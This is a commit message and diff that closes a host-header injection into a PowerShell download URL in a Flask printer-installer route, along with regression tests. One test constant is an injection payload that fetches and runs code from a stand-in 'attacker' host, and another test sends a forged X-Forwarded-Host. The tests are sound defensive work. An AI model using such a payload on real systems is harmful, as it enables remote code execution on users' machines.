Stop a request-supplied host reaching the generated installer script

Found by the Darkwing scan of main (run 33654922078). Its own review dismissed
the finding as not remotely exploitable and it is right about that: nothing can
make a victim's browser attach a custom header, and deploy/windows/web.config
does no output caching. It still recommended the hardening, and the reasoning
for the dismissal is a property of OUR IIS config, not of the product - every
site runs its own instance behind its own proxy under ADR-004.

_batch_base_url() interpolated a caller-supplied host into the single-quoted
PowerShell -Uri literal of the .bat this route hands out. site_base_url ships
blank, so that fallback is the default path on a fresh install, not an edge
case, and GET /api/printers/install-batch is public.

Three rules now:
  - the host is validated as a hostname before it is interpolated, so the quote
    that would end the literal never reaches it,
  - X-Forwarded-Host is only believed when TRUSTED_PROXY_COUNT declares a proxy
    -- the rule shopdb/utils/clientip.py already applies to X-Forwarded-For.
    That was centralised for this exact reason and did not cover the Host
    variant,
  - a request supplying neither usable header gets a relative base, which still
    downloads correctly from the browser that fetched the script.

Three tests pin it, and all three were confirmed to fail with the old body
restored rather than assumed to cover it.

Scope: product

plugins/printers/api/asset_routes.py

@@ -3,7 +3,7 @@
 import logging
 import re
 
-from flask import Blueprint, request, Response
+from flask import Blueprint, request, Response, current_app
 from flask_jwt_extended import jwt_required
 
 from shopdb.api import db, cache, Setting, Asset, AssetType, Vendor, Model, Communication, CommunicationType, AssetRelationship, RelationshipType, success_response, error_response, paginated_response, ErrorCodes, get_pagination_params, paginate_query
@@ -380,6 +380,24 @@ def printer_install_list():
 UNIVERSAL_INSTALL_VENDORS = frozenset({'HP', 'Xerox'})
 
 
+# A hostname and nothing else: letters, digits, dot, hyphen, optional :port.
+# Anything outside this cannot reach the generated script, so the quote that
+# would end the PowerShell literal never gets the chance.
+_HOST_RE = re.compile(r'^[A-Za-z0-9.-]+(?::[0-9]{1,5})?$')
+
+
+def _safe_host(value):
+    """A request-supplied host, or None when it is not one.
+
+    The value reaches a single-quoted PowerShell -Uri literal in the generated
+    .bat, so it is validated rather than escaped: an allowlist of what a host
+    may contain is a smaller thing to get right than enumerating what a shell
+    does with the rest.
+    """
+    host = (value or '').strip()
+    return host if host and _HOST_RE.match(host) else None
+
+
 def _batch_base_url():
     """Base URL the generated .bat downloads installers from. Prefer the
     configured site_base_url (it already includes scheme + the /shopdb mount).
@@ -387,12 +405,34 @@ def _batch_base_url():
     Fallback matters: behind IIS the app sees http on a loopback port and its
     url_root drops the mount, so a naive request.url_root yields a broken
     http://127.0.0.1/installers/... URL. Rebuild from the forwarded Host + the
-    mount (script_root) and force https instead."""
+    mount (script_root) and force https instead.
+
+    THE FALLBACK IS THE DEFAULT PATH, not an edge case: site_base_url ships
+    blank. So the host it uses is caller-supplied on every fresh install, and
+    it lands unescaped inside a single-quoted PowerShell literal. X-Forwarded-Host
+    is only believed when a proxy is actually declared (TRUSTED_PROXY_COUNT) -
+    the same rule shopdb/utils/clientip.py applies to X-Forwarded-For, which was
+    centralised for this exact reason and did not cover the Host variant. Either
+    way the value is validated as a hostname before it is interpolated, and a
+    request that supplies neither a usable forwarded host nor a usable Host gets
+    a relative base rather than a poisoned absolute one.
+    """
     base = (Setting.get('site_base_url') or '').strip().rstrip('/')
     if base:
         return base
-    host = request.headers.get('X-Forwarded-Host') or request.host
+
+    host = None
+    if current_app.config.get('TRUSTED_PROXY_COUNT'):
+        host = _safe_host(request.headers.get('X-Forwarded-Host'))
+    if not host:
+        host = _safe_host(request.host)
+
     root = (request.script_root or '').rstrip('/')
+    if not host:
+        # Same-origin relative URLs still download correctly from the browser
+        # that fetched the script. Better than emitting a host we cannot vouch
+        # for into a file that runs commands.
+        return root
     return 'https://%s%s' % (host, root)
 
 

tests/test_plugins/test_printer_install_batch.py

@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
 def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
     resp = client.get('/api/printers/install-batch', headers=auth_headers)
     assert resp.status_code == 400
+
+
+# --- the generated script is a script: what reaches it must be a hostname -----
+#
+# _batch_base_url() interpolates a request-supplied host into the single-quoted
+# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
+# ships blank, so that fallback is the DEFAULT path rather than an edge case.
+# A quote in the host would end the literal. These pin the three rules that stop
+# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
+# and emit a relative base rather than a host we cannot vouch for.
+
+INJECT = "evil';iex(iwr http://attacker/x);'"
+
+
+def test_install_batch_refuses_a_host_that_is_not_a_hostname(
+        client, db, auth_headers, printer_assettype):
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                      headers={**auth_headers, 'Host': INJECT})
+    assert resp.status_code == 200
+    bat = resp.get_data(as_text=True)
+    assert 'iex' not in bat
+    assert 'attacker' not in bat
+    # No host survived, so the download URL is relative rather than poisoned.
+    assert "-Uri '/installers/PrinterInstaller.exe'" in bat
+
+
+def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
+        client, db, auth_headers, printer_assettype):
+    """TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
+    must not be believed - the same rule clientip.py applies to
+    X-Forwarded-For."""
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                      headers={**auth_headers,
+                               'X-Forwarded-Host': 'attacker.example'})
+    assert resp.status_code == 200
+    bat = resp.get_data(as_text=True)
+    assert 'attacker.example' not in bat
+
+
+def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
+        client, db, auth_headers, printer_assettype, app):
+    hp = _vendor(db, 'HP')
+    pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
+                        hostname='wjprn01', vendorid=hp.vendorid)
+    app.config['TRUSTED_PROXY_COUNT'] = 1
+    try:
+        resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
+                          headers={**auth_headers,
+                                   'X-Forwarded-Host': 'shopdb.example.net'})
+        bat = resp.get_data(as_text=True)
+        assert 'https://shopdb.example.net/installers/' in bat
+    finally:
+        app.config['TRUSTED_PROXY_COUNT'] = 0